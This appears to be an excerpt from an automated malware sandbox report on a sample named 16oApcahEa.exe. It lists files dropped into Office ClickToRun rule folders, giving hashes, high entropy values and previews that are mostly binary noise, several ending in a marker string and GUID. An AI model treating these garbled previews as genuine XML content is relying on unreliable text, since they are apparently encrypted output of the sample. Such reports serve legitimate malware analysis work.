Preview:	<?xml...AJ\.O.u...cp!......173..%.gZ.E.S.'......}.V.=..Y...c.......$....).._Y../._...Q\|....3.r...?.Z...aBAc:.7....:q.%l .@0....l.2....j...T.//@.q.......rp..1e.......`3..Y.%0..."c3;.J..C(N{h/u...kP.....T.I..[..k$J...L.K...!%W..E....c......T=..=.Q._Wc.f...........D.Df8^.. ..b.e..6l280m...szd.#..@..1.>...![d.......V..R.....&{4\.;....x...-..\|Xnz.Wz;....Cg......,.uR...COK.......7C..#.x...{..pz .._".YD..%..6.."...W.'Z.V....!A.sS9`T...P..1....-...JA.......w`.,.:0......n..'P.,bp.....p.w.K.....P....@..jk..\..q q...oNO.4n....oBW...j......\..u....ica...............%..f....(......u7.8]..c....$!3J...#..p....T.%...B....v..rE.......$.o..X...;]Z.&.....Z..D.g.S>T..b..jdZC..}4..].T.&...t'WP......X..X...yE.s....3zI..0.N8U.!.y...r;.R...>..w.=.......4.#...e~..=I.L.y.......`....ao.8..g..f7...K.=u.....n....D..l....._..J...S`n=...`...N.O.Q.-..2CH...w.%..Ri5...."o....*...Z..T........4..6...8..j...O.l......h$..c2SbxcdIdDNFh62dy3iJsba1COhcfDENs

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10940v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.773347205496145
Encrypted:	false
SSDEEP:	24:N5O/aHVGzPqU2aGNKy/9/jhL2pnN2VBhNX/6w9pbD:NcaHYNa/9GoNX/6GJD
MD5:	7257EC414AAB8693D7A2BFB6219A3344
SHA1:	85BE54C66F68E921202073015D8DBC9A214A9AE5
SHA-256:	5E8C3AA9889B18405263D638F3CCBCCAB52543AF923C56766417B50132F8E610
SHA-512:	0FDA3359BDABDE0C3ECA32C04334196DF8C5D3FA645E09CAEEB44C750E82619AC4979E1DB5B020958ED5E4B490B28F9588579AA475A9E352DD2284D14BD816BA
Malicious:	false
Preview:	<?xmlN.Y'...Oh....S>...yi.q...a..-U..F.Y.y.~....y..4>&..u..:.....(...z.;qa...e...R..v.\.+.1.c..^.rz=......l\|.+...E...F..@...qd.....g..I...h...w.\|[..!a9&.A.}.......<..i.`..!)e..e\.a.<...n...G.S.x.J.z....).....AI..T..AC.--.V...}...C..P:.`.).QI.o...0d.w....Hz..>.t$&. .z,...1.1.;.<-..'..1e?......g.G'..u.....=&.n%~......N...jX./...D.b..........G^.k.....5[.{.Q..Q...XI...$%......#..(...)....l....h.L{.....u....q.Y.`E..<.......O...\a.._.{.......Mo{S.!..}...n\|..$z......\|..K.L!b.6gUU..v.:..X..T .w.>............x..PL.Xj..^y..Dc.!.-?..;b...../...>`..U..(....:?(.[w=l.&..$.....S.s..4.M..45M#YD..6..$3..U./.8t$....8...o..w..w...........V"F....]..7G...Rc.....'....$.h.:h3...Y....S..".5c.x...bq.Y......t1L5.-X=Y...97J../.G..Prg}.~..=....4E ....{l.*..U.1d\.v.j..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10952v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	7.976802647634296
Encrypted:	false
SSDEEP:	192:fDXeFlvOABJJDqsaRG5Y/ruJ8L3MfYZb1C+70kLKp4MCdnrZeOEyf:fDXeFlWAFDqZReY/ruJzfabT7nC4M0r7
MD5:	5A3B7A15E6009F35D9B97DB66EFC05BF
SHA1:	43FAC05D4B8CF050DE8CFF1C91A4D34238BCC662
SHA-256:	4E97D36D00FB30FA0738A5AAB3196E1CBC32B39DE27CAAB54F5D45AC744518CB
SHA-512:	F16DB63FBE425E51391C32F22547CB47D882146D8B5EF51F79B177E674103C9409AD543FC446D72F4A44B9B34CAC5A77684AED3AAF25C9C5C19DC31D733321AD
Malicious:	false
Preview:	<?xml\2.....f...;p$.....=\|...#.;.1,.Vj..)...C.d[.NHBx..78w.s.#_.......)...3V..o.1..9..xO.P..B<....[.=E.X(e.P=7...J..s.....0p....i.)@N.....n.r.C...........3...:..\|..~.U...k.j$.k...[rb...k.j. ...A..`.6&....._X.........-.Mh...qo\.&...)....6.~..5....-...#.9a,......#.RQR.....-..~.../G..\|h..2.e.. #..my.6..vwF..!..{.!...........GQ.4..oU.A.r".....bU~...y...7.\..if.....+.v\|.CLT.ZE....X.1t...7...f.8....L.hu.K..J...u$...)=..K.{.qT.m.(..q.!......2D..Q....zXR...Mx.h7.Qf..w.......>.4co..B...N<.z.`O.h.=...I.Di...q..F..eH...u....y...H......8. ...S..Y..5y.;XG........).i..R?.k.xw...Y..0.w ..f...y.t.......368\|.[$........<oB.KCR..d.<..^..."./2\..H..i..@..mR.R^.e... 6...m3:.b.M...E.v..!...,0.oE...,......C]=...r.[.D.].E.D>.XxU\.U<...$_...4\|......uj.n.'........S......3...y+f..\q(...8.J#H_)/.......v.Ov...\|q......2:.Z4....su.qIf.&;..k..B.!.M..._m..,.......P.V.ST#($.$V........(.B..8...a.....\g..ml...Z.X..i..w.d\|.H.p..}.4$+[.MaE$...%...5x.R#...Ax..B.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10955v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	7.837817494441041
Encrypted:	false
SSDEEP:	24:pa+HaXPHMeYEvxyI5IOnl33n+BUraXm+11u3WP76d/00jLAk9pbD:pa+6fmEvsqNl33nUW+U3Wmd/00A6JD
MD5:	E5980A3EAD555F8D4BA7B564F4F694C0
SHA1:	0C1D57666A24BCC6088E62BD473654535455441C
SHA-256:	3C8F7C3783DCA0A1BA355E8523DAB3CFB03B56CBA572F727607D88B1508BD22F
SHA-512:	047C7D240DEF1A5C2045135420522A80CBE58BCD0B46015C2338CAF893FED4A9E06C5A902A1B1DD7CC1C91A24D1F0AB380D79D740F8C198A4EDEFAA85B3950D2
Malicious:	false
Preview:	<?xml......<7.....8>Ij.ev.h<.u....RM.c.......~o..:sIc.E,..%,..2..E`.......}..~.QZ.Z...G........r.......]..c/.....Y.f.&.w...S....?..mDS.x.....1..Cx.OZ.C.57.{>.2l.aoq.1.d.h.}j..y.l.M..f~..........4..`QnY.^z..........._.U;dp....6..]q...@.X...y..Hk.zd.....DN..:..\...g....X.s1i./B.....9..8...K....P.W....&...x...m.s.-....O..B..@...qQ......,n...b.$......b.o5)F...C$.t..."........'._. aD........<..j..(...!......lt&.+..%...@..\.X..>.,}....$.........v.........31..T]....G.AL.q..h\..&P...+6..Ym.k.VN...x!$.,<....X..).....3.....m.QpZ.$!^0n......[....F.. ....e....nBx.#.o.jW..mv.~V.;M..Kc...f..j..H\|8...z..w...Z...........ra.......,"t.G....tF.[.K.Q....;.u:.r.......5+.l.;.P...-t..YO1..w..p....j}X..j.H.+Q....0..h..Val.+b../.H.}:P.........._._2...l...:.\|^..Ceh.-.[..{0\.Z".V...!.....0{U4......1 -...B..)X.1."..\|X.'..4n.3...n./...........^T.](..F..Z2H. 1...a...q...ui....=...co.f.y.<&L"e...!\.u...Y..h.h.YW5...]..j...F......O..$k.........~.:B[xcp.F...:.]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11150v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.849635254061979
Encrypted:	false
SSDEEP:	24:0BwiAvZXwKuB0IuGugLGlSSXj15+fx3MBbYcHtMhuvSWM/BJ9pbD:0BpAvZVNMSXh5+a3HmWMpzJD
MD5:	AB4634F7F2A333B29CF5AAD37B3A7944
SHA1:	A34640DF078B8E9B626DFAF95501C8AC123DE7B8
SHA-256:	68BF4AAA77D362DCC90684F0C07E5E04E002FF1D803197B19B8C0566FE7F9DD1
SHA-512:	E53B370420176C4D27FB7FC64B1E60C4277394FD3CB8FD3EA567FF3A58DCBCD97D3A15B4E3C9BCF86D22CD54FED350A78B9BB56C6C0EBE8B388E415644EF990C
Malicious:	false
Preview:	<?xml....\|T..`..g=.o7......q.r.!.......\|..=.eF.".o.,....u_pB....b/ .T....rl..f,..02...>.YZ....y\|Rt+..d[.gw...A...@.........&".....P^....p.X..o.w...+.:y....L.`c..L.!.]......CA..-w.<y....0._..,.%...R66.....c.k8..%...j.O.K....DE.s.}..$:.x%j.\|......P..._$.-..5.]...U.-.. ......Dc..2..?F$WL?.'...s ..?.....p..Dd.:0x.e.".J....?.......d,../B...hz..k....$W..k(J<...n.....Q.....:.X.....T2..x..........L.P.Npr....../.....3.Z..!....6.t$.......x(..v.e{..6X.4'A.o.....VS.>u.Q....i.).....n.GB..l+.$E..i.9.so..}....T..Z.+i.c.../C...n..z..MI.........:..f............G.F....?.`.f..Z.\...'.+.k..VB\0[..d@].j..@.>2..T0..'-h.s.e.[...Q}.U.o...Q...$....m.Oy.v.7S..%.!U.B.b.L,.....e..{.-1}.-.......Y .4w^..Y.NG....&...........of.D.N@.b.\|....)s=.uICT..j.ev....@7-A......I.Hy..:eM.d..L.....S..f._L.XA.].Q((.j...Y@....2..qQ....0.eS.>....!8.%..E'..q...{#.s.....=Q..bmt\.j..=..;.+..q.....1...<_o.r;..\|'+.*.Sm. ./......#....w..u+. 8.e.A....TC..9+0h.........b..74A},3.~.....)-E...L.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11154v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.822159423021851
Encrypted:	false
SSDEEP:	24:d/yy9lKi/kSbnvsajqTDFHDbCi57LtSxE9pbD:d/RrlkinU9VDbCo7MxaJD
MD5:	63F49CE83CA6572AD31603B8B68B6858
SHA1:	FECDEEAFD19FFEF57E53FEDC5C98D4ED99DF4785
SHA-256:	A2C7A0B5221E01F3D725A98E1550C5F76E3BF8807192AD507F40F111AA5CF3F8
SHA-512:	D61AD101CA051074FFA448F9F5F5F81EA00126E3548188FA7FC75F2CE57DF1C9F58565FBA67101ECEEEC364B092590CF2E91BF8EBFD192C990721D6624467454
Malicious:	false
Preview:	<?xml.V..US.5V.3.._..W&..P..g......c...F.....L...d.}.L?z..<.2.~......<.O.~.4Gj...,..3.$../<..Xt/...W..;I_..?.m..}.n...GV..._p... ........pj..>].....O.t.....3;k..[q.^t......QC....[HEK..,!.%...+...m.....UrD.i+..........s...:Gb....@....{..LtKP"z../....\c...>Z.....x..+&.m... {...4....le...U.NF.d.h.....K.../#....I.H.W...Nqw71.1..i.4.C.l.O..>.0i......^._~.i...Q-{....M...J4..vY..U..g.+.;1.^a...5c...y7......Fr..R...$...&$r..Hu..ls.Q.N..nY...R.M...yZ.XS...5.#......Z..f......4.GOn.e]...........=<......u5..1...=..'...y.Y0g..b.=.../.H...p.~.'..........OZ.;.b..c..:....l..(.....&X.5`..~...i~75>.l$.^.....C>..Pk/6FJ}...u}..A...H[O..H#.49..pT.]&.D[P....4b..WN...I.[........W.....1"6....\|h.yv......A..Q.8.. j.g.......i#t.n...C*~&V...@bg.Kl...a$..y.ApE...,...X.G.].3...d...~...<#.....S.....cjt.d..L.................c......e.d...]-Z...!LM...%.?.n?... .W......q...%....B..M...U1(.+~BGq..BG.......J.7.:.s......$...5..Bg.....q.&../. 7Z..7.7.U..E.v.=.....du..f...xcdId

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11187v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3232
Entropy (8bit):	7.940893745559855
Encrypted:	false
SSDEEP:	48:Rse0qvgNUCHBK8ga0iwRp8HHra6hyKv4RvV3w4wxBUjr3FeBLzFlLWcoNoj+xQJD:6e0qoNlKXim++6h0vV2LS3FeRxJhyM
MD5:	D74091109B585E41C8766D0656F83689
SHA1:	EB8A74E6937B5CD03886234F1D781E177DDFBE22
SHA-256:	59FD96209728EFB454A908FBCEB8611B005981E2FD83215D04F9106B7C101625
SHA-512:	4366FED834627438898F910DB26ECC7C1650EDF96ED24A2E221D18546F9878EB9A8CB1EE9704684E63E56A896E1A592D12F50095D2CCD7BD8B2EF339CA635A88
Malicious:	false
Preview:	<?xml(......L.X....R...._......F.8B...K..'.\|U.......\..!9..b.k]..mm.4..T.....+4.......2...~..J....N....}~...$3%;.R...U.x....ad....v.._.o.].\B.....e....Y.}Al~9......?.R..=.V..cg.M..8..........R.^c..5ih..Q..d.....rk..._k..^.e.....p...>(...I...C.n.u5..[..:.eB.....U.?...76.....l...0.....a.8$s.I.<.......J.$l$c...j..:...@..#..&\......H....p.].!.Bue.{.y......J:(.)X-k.&....x^..2i.7Z../....].._..S..7.s..h..4.s..n...h6.r.6.........#.....\.....L6.%^....v..Z.x.l.f...\|.... .j..Y.......c7...k..Qzc.z...D.TR.'3...L....^Zk...."x.f.^7il..y....6R..=. ....(.D......ZB.Qv./\..U.Z.j.q.......+...8.i.Uo?..n.%.(.!!.Q..R..riY....w .Y.rl..'{cG'...-...Y.\...yL...#+#$...&73..8../.SC.R......t..::...!YYB.-#...+%..R..bKG.\2....;`.fc."...wiV..?............y.L."&....w......._..af2.R}.....B.'.7.@J2..<G~.O..9"d..r....K..X../U....{.....8.+x.a,.....>.U`Af....@...........O.Y.....zQ......%$..s....)...!...../pg..wf.v\c......n...%8Z...*v.....s..r..1.P."73.o~b..fs....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11190v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1231
Entropy (8bit):	7.803949994637515
Encrypted:	false
SSDEEP:	24:LjHYvhHw1eb/eR+6UFlbhYBSMHGwIY0GPZpDEiJN74BwQ/R79pbD:LjuQ1ebpvMHGwPZpDEiDs/RBJD
MD5:	AEE6135E873CB8C058BBA57C7D78EF7E
SHA1:	EF26372D80A7280330E8D555345C6EAB379E5467
SHA-256:	40C9F5110361EAD8C536C42EF87220C3E53CE48D4B88C31E535DE135D63D055A
SHA-512:	597A2FFD444B986D72F6C930443109135FEA7955123230F36103FF7D054036CB774E5DD84697F225F73239E20309B6A0D48AB2D8B09A0B3B7709C4FA34319EDD
Malicious:	false
Preview:	<?xml..W....y1..3.U.Im..........u}....$.g..Sp..y....._q..w.j:...E.......h.SE..5..g..j.`....LC...\...K.G=.{.C...s.Z[v..+.)9........\>e0.T.s...e.U.G.9..d..m.r..k..:..N.V.7.L_...Uf...c0%..m=-..j....k.m.\|.lW.eq.9.......g.]).d5......GU&.....................$Y.......XKY.x......E...6...j.g5....>.`.Q...Fp..{.s+a..S..y.....8FX-\......m...c.g}......TRh9~..a....L.....)......sz.e.2..c...._.X..HJ>..uV./.q7Bv.x... .Q.V>g1%.>...b.uy..4.....@h.L?o .!.!..1.{d......$@0H..-QoIpg1puI..\.s.gdP..}l.O...EhB.I.....kJ}...S...y5..E.9..z...&..^...Z..0Xi..X.[M....l.uQ#!..F.d.....d.6..L.......n...!.Q......6...{.1.t....S....w.v.hJ.`.%.......X;7...d.l.<.........f. U"..T.8.............u.V..S....)...+ye..2....z.....4x...[....%...P...8..I.._.....`z..#...v9......I...\|.,.:_.Y..C..I.Q.f.....4."^.-...TBW......!....E .....~.i...zO..H.. y.sJ.......)E.8j.......IYEtoG:..=.A......m...s.s....(..@.T....xSs..g._.4.h.....~.m.^..7a.Y....m...;....o...W;.........Yao._aE..W[....a.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11195v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	7567
Entropy (8bit):	7.974199910021586
Encrypted:	false
SSDEEP:	192:9FXSUf6J6DuZ7B8vKR9Dw7xsKtXWFW0LV6qGN0ZPKIyY1axT:9FXSI6oK7Bd8XtXsWL8j1axT
MD5:	DBBBE5B2B406750A45759A1FEEBD2098
SHA1:	DB992E263B7C28B82504CA75FF186E749C6D28F7
SHA-256:	72098DC1AEB273C3A0C133E4B9B0BF2A04CDC28EE1A4481EA3E834F508B22627
SHA-512:	228EDE1F77EDC1114000D9C1699958353B27AEC4F747B2F94041778A6513FE268140D00697F250D89DD01B003550ADC62696B09CF56084FD1BC9FE8B068EA728
Malicious:	false
Preview:	<?xml_.............?T...n@Y...\i..5T.L.....PZtF. ..s...A~.rY....q.{M........D...0j1.H_.,.^.C..^.pP..M......O..J.0y...q..j..s..g.f.`.....02.-e.\|.......yH?......k3O.^a...B....JU;..p....-.....t..-..vn.f.c`..~..}k..#&..........=....fBv................?..J.......6...>...W@*"h..[..Z. ..[.3Bm.....f.V..,..b..#t.Q%..I.e.jZ..R..a.........`)...r....+..6,.....E~..>...h=.X..pB.._..Bb.].r..7SY.%.4....dfe..y..F..8x.g......tFxtx....U.fyD...Y..0I....D.M..5.m.G...m....VZ7...k...^.plq.W....w.j...i..d....B...+D..,...%.g..9.X/q...{..".....Q_F2c.E6j_D....c:...=l#Kk.!r2`........E.5..c.$.3W.]...@%..V.c.>...._...2...]../.o.C.d,.B.....j[..........lp..lb..S@y.I`.b@ \|_...,..Z.w".p..J.r.Y..(.p.J.[K.;Q.y...@.r...=7..."..FC=...R..#}gV......./a'1M.T..M..#.#...:q\|..t..'j...))..}...........$......u/........Vd.....=...[[....E.._.l. 7C.W.D.uTu..G..?......d...w..A..5..5\4:W.f........7...0... ,)....f..j.x.lp}.......?..+...7 j.......u.C.".\|N8W.Aw..'..X.@y0..40]K....tZ... .

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11208v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.756438661608145
Encrypted:	false
SSDEEP:	24:stpPgHQ2HsdxHn2JvGrUxawzLrjgj9pbD:stuYTUvGLSr0pJD
MD5:	9BC7B5388F16C20561D9EC295BD8CC9A
SHA1:	EA21C0AC690A3B4B96CDEE3E309528B0B2014D78
SHA-256:	323D28E8E033450550A33366F7FD3EF12539F82638BDB1723A1EA2B2A53C5007
SHA-512:	DD652F1BC058F1FA3E29673C42933E4E2F198CDD6A0960D5352CFB1A405EA0368081AF65F74C7A86F7DF2A8B3FAA8F20C7B7F1A0ED970159E8516B3A0FB1C8C1
Malicious:	false
Preview:	<?xmll-..5..P. E....\|.;:._.=..M..i.....F../....\.........<..].o=..Q.p.. ..H`~..sq.Z.G......o...7.....1..F...0...Z.....q.9.mVaZ..f..h}...@i]qJ......e.....^.;.....xE..C.l... ..N....{.q F....._...)....y......r.f..>k..5,..F....Q..\.%..k.:^1Vr.&?..1.....bM..,...I..m'....A...y.u.s.......G.W......8;..j..*H.1...9.0.\|...W(.r.. ...l.......r...U.$........J}...g}...;2.r...It..6..B.R...L....H.oE.Tl..:....'..-9.........\|.{...P...A..T.....p..(.[....U.Jb.....p..e.x.C.%......n.....q.A.@x..vb../.....ac@..nwt..3.@I.u.....H...z....;wj..J.F....uv.d..L.....kIxF'[.zK..:..?d. .o..r..d;...y..zA0D...b..HW...".f..x...F.])..h..$@u.t'..P.......^.uJ.{....Cb....%/D.O...yx..5...398...\C...r.;.xz.=..@.+..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11209v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2272
Entropy (8bit):	7.91507852908652
Encrypted:	false
SSDEEP:	48:t2UfZ1622hY7coEfZXxLn0Omj5zk2Nt5B3KpqJFUJvyA9AScqzWALMJD:t2Ub6bVfxxLIhk6VsKA9AQzWW2
MD5:	9881A1114A1896DE4FE5EA9843F74E6D
SHA1:	ABD95B43CAC70F243187A6B442BA7D849EC68397
SHA-256:	157FCE0CC56CE1ECE8E3572C6761A8987DD95CA60A0B05B55D62E02378E5CAD2
SHA-512:	35CEC9BA40ADACDA33F0CD5A120BCD2E3B2CA373C4245EE6BD4EF05239633855124EC57B6B29ACF10E040682D83ABA698F15E44E6F0300232C8AA98BDF7A30BF
Malicious:	false
Preview:	<?xml.^...a.Q+j..........w..[.....K...ms..j........6..&..9..0.t+.^.R...C..0.zG.9....mD.A.M\|d_.Zy2P(..u...IR.w.s...z..WKUO.l.V.).m...``.C...0...a.g....AxzD...^........o....L.;.._.J1.".JbUr.h%..f..k..A..iH.0t....)....H...%..J9.fNn.9....A..:.1\|E..n......[...?L.SYh2d}.&.......p.B...9.T.j..b........=^..G...............S..FM.....,.t[r........M.S....v..C..}Z..z....\......1.\=.f....g....X7.j.@r...LL\1.c.x....=z..fD......`?l.P.3..2[..W8.8..&..}8..bc...H.._9......)..+W4.v.P).....`_.#}.0.E...H`.....=8s...../Ze{O..C.......\3.S...s...h".IP..)...{.....\|.......I.<..z..........b.\|...fH~.4<..Vw.^<..}....K.jC.....S.$.mK..V..Kl..d..g.?A+.]B..).....?.L.....<x..J\....?4.C'n..e>..Pb3M^....v.2.).\|...-...fs..B.iuvzP.tyy.W6.Z^.R?.).......s....7.t..0...&......\.c..B...M.c ....C..9'.d&..b...E......4..:.e.k.....~...b\d3Xk.....oB.a.d,.."].1......BoB...-.9.{..0.:B...JX...d .Z'......"...P..."S..fb.[..thB.....:.yX2o..@.I...o7.l.Wn.... ...3}.[Z.....}....v?.W0. 6.T

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11210v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	7.83255326803403
Encrypted:	false
SSDEEP:	24:hZMO+SyHjRcWRCZhm8PBXsAh/rQVgUhieNTRQT0qAdRbZ0+c9pbD:nM5jXEZhxSrKUAeNdQTsdRy3JD
MD5:	4A0A50B75BB1120560A11C5D7EE8FB88
SHA1:	8D41D68E7AB29CBEAC88B2A662CAD8ADF1DCEB7F
SHA-256:	A2B3EFCFA7F605D10BA95B7D8354C9246FF9A171644CBC54EE9662A45C32D28E
SHA-512:	29292C3C91FC2BA980EBC01CF936AFDEB04A0F759C1F66FD71E5FFF79E3EF4B09E827CFA1950E077FC9D8EEC52BB94D6C832078B5BB8CEF72B8FDC7E6D8034C5
Malicious:	false
Preview:	<?xml..:...Q.......j.[.z+L.Ghh\0..e..x.:..i..n1b.i.m...4.lO......)g.W...2.\.(...u.Qe9.^.....8=...2...x...y.....c.8^.5...t..f:k.EzbV<W...H....@....!.Z..SrW..Ms...~.R,4H.F.dBD.y.{.cp.0.R..Es......9.Z.=.-l..].?....x.w...U.[...g{.j...cw...^....g<....'1lD\.6......C....R...NO...=R....M.....;.....s..KF..R.......5..M<..4..>..%)...:..o....H.PY.E.a~Z4ky.~.~,[.L.0E...H....g.....n.F./3.....e.2U....9...&.2c....#...i.@..b.H..E~..`..z]Cd.M:..hn...X8.G.\2...Uw...-..L......T.......t.\|_....n.h...gt.'3.[.7..<e..&L.2.F14>>.5..N-?./../t..h@..@..45..6.r_.=..2....'..^.(n.)..'Q.m...t+d.t2.u.}.a..j.`.{A...U(...\).1EB...s..0...kb..H.Y.>......(J............R..s../q;..Mg^.S.....s.V/M.......*.g..P).,8....pn......^}...Oj...J.{.Bg.$.....Y.t...a.Jf\..<./.2........N....S.vU../..pWB...........(eG.....d..~w.@9Q.....S...Tb..b.$....bn....I....D.@.X....y.....D..c...EC,-L...7.6;v..c.......tJx..<Nj.E...M..&...f57...h[.U.e..Z.v[.\3L.h.z.X......f#.o\|6.S../I.-..b..L..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11264v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3172
Entropy (8bit):	7.941431899810661
Encrypted:	false
SSDEEP:	48:qKKX7fU2nMb+4XIKjIVd4QeZFUal5Ncy86GLS6uXVQBvRkE2xRH5ZAR9RM53diJD:bKrBM3YYAdOxl5d812SBM9ZC9ahdE
MD5:	06E8F56ECF6503EA6129A845BEF1D586
SHA1:	8E106D3DCD96399AA9A021524FBD18439AD5359C
SHA-256:	E983B107625A2618603B1D489A9F777EDD8AF360C4B29B39A05E9F5F4E1B5E3B
SHA-512:	9E7D375CD0B3DE7070D25F3FCFDC34F7A17046C4B6B5F4A2E8A95558804BD91D2D573C03560A911D81AD73793678D08544087DBDED14360735F0B0DAF2B6FDBE
Malicious:	false
Preview:	<?xml.....E.<cR7../..W..aO."\{c).m.2.Ak.O....y.I.f.\|.)....B....."W2..h..hp&T...P\|.....6......'...o...D.Lu87.)&x.%$.~....<....^.jS8K]).^AFsT..@...'..>N...<..=b`...d.Q..5..G.y.$....A..9$..T.y....$.j._.5V.s3gm%.m.o.H.H..>.wPg....D.5.....t...W:Pb....U..gXe.r;.&...!.h.../.V.y...A0."...{'9....<...[.,..H.....+f.....Y.D...`...;..z..{.Bf..bu.z...._.F.}.."..[Y......G..w.....g.>.F...E.m..;....z..]......6..R.].b.D...B...`y.l..E.{...I.Ve.k.tGg~..dRQw..V.~._.OA......._.9>.@......@.....B`.....]...'..(....\.Z~qr=~....6.%....?........~_..ah@I[tr...^...q..m...[[K....o......[....j.d.&..).p6...C`....-.....K....m>..@..g.G.4;....f......a..O..Q.B.p..Y.....\|..E.2...:...O.F2.p.=(k$..P.....I.y.....z.....Y.E/..08Xc..-..W.......).$...c.$?.Uu.P....V..X...o.i.N{..\|..4...pp...1~C.L...j....v.<p..~..)\.3.S.X......1.h....V./..}}...SY.T1.{.&..t..;...0.f,.7..2n....~.*...%..3._.Md.D...m... w...~......zi........L.k.....\|..&S".5.f...V.'<b.Z..\

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11265v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	7.913922006389685
Encrypted:	false
SSDEEP:	48:DIkBPgFJhCgGZiRD3HFSn8d5s9oJCTIcjPDbeXAnuk3JD:UJhRGqHFRQjP+jS
MD5:	14255ED9666A9450F497694A6FEEBBC6
SHA1:	1081009FD316B389739DD86A042CE73A122BB286
SHA-256:	017B87F4B15C7A3BC8B9B77EB4C96C7213BBF583D32FB20E9BA7CB94AFD28E5B
SHA-512:	A5E9167F5B3C70C301C20F477C8F64D5C3897A37D6C4E67F745646D5F22C3D77550F395DE3108E7104BB657895128E3C2A80F62F8DBF952EACF665DB9DFECDBD
Malicious:	false
Preview:	<?xml .q!.z...O..Pt.v.......9.....?.[..G..."......\|Z......3.+.6.O...py....b..}n..x.....2.._.v.)..D..2..x.Km.O."\|2.=./.^.<.+U..+..O..!...4..kU.<...3...h&x;...<P....Y.K.......x...b..&,.....5.m.g....DK.Iy....@L.....C'.L..V.Co.}.....:..,.\|z......8_.......i.{.....W.b...fg4..Gx.4I6.....B....h..............%!.x.5L4..P<..en.mQ..^?.\|..~.\...j...f...X-&..qk/....f-p].).....yY.R..c7.....V.o...a..P.G.V....A=X...$z.}...SOEh4.Q..o..C...../..T..b."....i..a.....r.4.h.Y.....}...2..K.<d@9...1...MZ.\|...~.FBG.]..v..N%.....q.$...:.......'...j-..............\X.q_(S..&;....v...Fs.O.....e.qTe.bb.-...A/.dU.[V...S....<...........H......du{m....&2.]....8..U.>..}..H'M>So@1.KM.2...../.6.....R..W....B./.3h..DC^. [<...Ag..QN..x........;..).>.%.{x..r.`%.........:.A....5..xM.`...=.0.>..e.sf.p4..................P.\An.d...i..M....]...3zA..(.......9?....LF.....gK.o.+...K;..5.$..y3.}......a...^V..Dk..tB...F.*..`.....w.....a....P..s./...xYa..L....2R..P/.M3./..7.6f.......{m

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11285v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	7525
Entropy (8bit):	7.976656909349376
Encrypted:	false
SSDEEP:	192:ajl8oyjK0lI/HN9Th+MTL4FY8qONTfVmLCixMtDJ:jRs/HN9TxL4S8qsfVlWM/
MD5:	13AA8F547F7CCB33F05022A27112215A
SHA1:	195F4D257F0F3A39605E67833503385089165A10
SHA-256:	3CD4B23A1B6CE8764239F713C03925AA2032F755BB87E82F195DD413304D4D2E
SHA-512:	3CE7A995EE331C1A69D4DD891C396040DDF3B5543CB1B1D80E44CC00B650E0BBBC84867B4EBDB401D0688A453A73B1166EAD0D67695932CFCDB6E3D79E8A63D3
Malicious:	false
